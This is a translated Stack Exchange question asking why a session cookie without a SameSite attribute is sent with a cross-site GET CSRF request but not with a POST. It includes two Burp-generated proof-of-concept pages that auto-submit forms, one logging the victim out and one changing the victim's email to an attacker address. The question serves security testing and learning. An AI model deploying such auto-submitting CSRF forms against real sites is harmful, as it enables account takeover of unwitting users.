无SameSite属性的PHPSESSID为何在POST型CSRF请求中未被携带?
站点X的会话ID通过以下响应头设置:
Set-Cookie: PHPSESSID=abcdefg; path=/; HttpOnly
由于未定义SameSite属性,我预期当用户/受害者被诱导执行CSRF攻击时,无论GET还是POST请求都会携带该PHPSESSID Cookie。
我使用Burp自动生成CSRF PoC,以下是用于诱导用户注销账户的GET方法HTML页面:
<html> <body> <form action="https://site-x.com/logout"> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
当已认证用户打开该页面时,会发送如下请求,成功诱导其注销账户:
GET /logout? HTTP/1.1 Host: site-x.com Cookie: PHPSESSID=abcdefg; ...
然而,当我模拟POST方法的攻击时,PHPSESSID并未像GET方法那样随请求发送。以下是用于诱导用户修改邮箱的POST方法HTML页面:
<html> <body> <form action="https://site-x.com/profile" method="POST" enctype="multipart/form-data"> <input type="hidden" name="email" value="hacker@mail.com" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>
当已认证用户打开该页面时,请求未携带PHPSESSID:
POST /profile HTTP/1.1 Host: site-x.com ...
既然Cookie未设置SameSite属性,我本以为POST请求也会发送PHPSESSID,但实际并未如此。请问这是怎么回事?我是否遗漏了什么细节,或是对相关机制的理解有误?
内容的提问来源于stack exchange,提问作者rifqy abdl
相关产品推荐
相关产品推荐

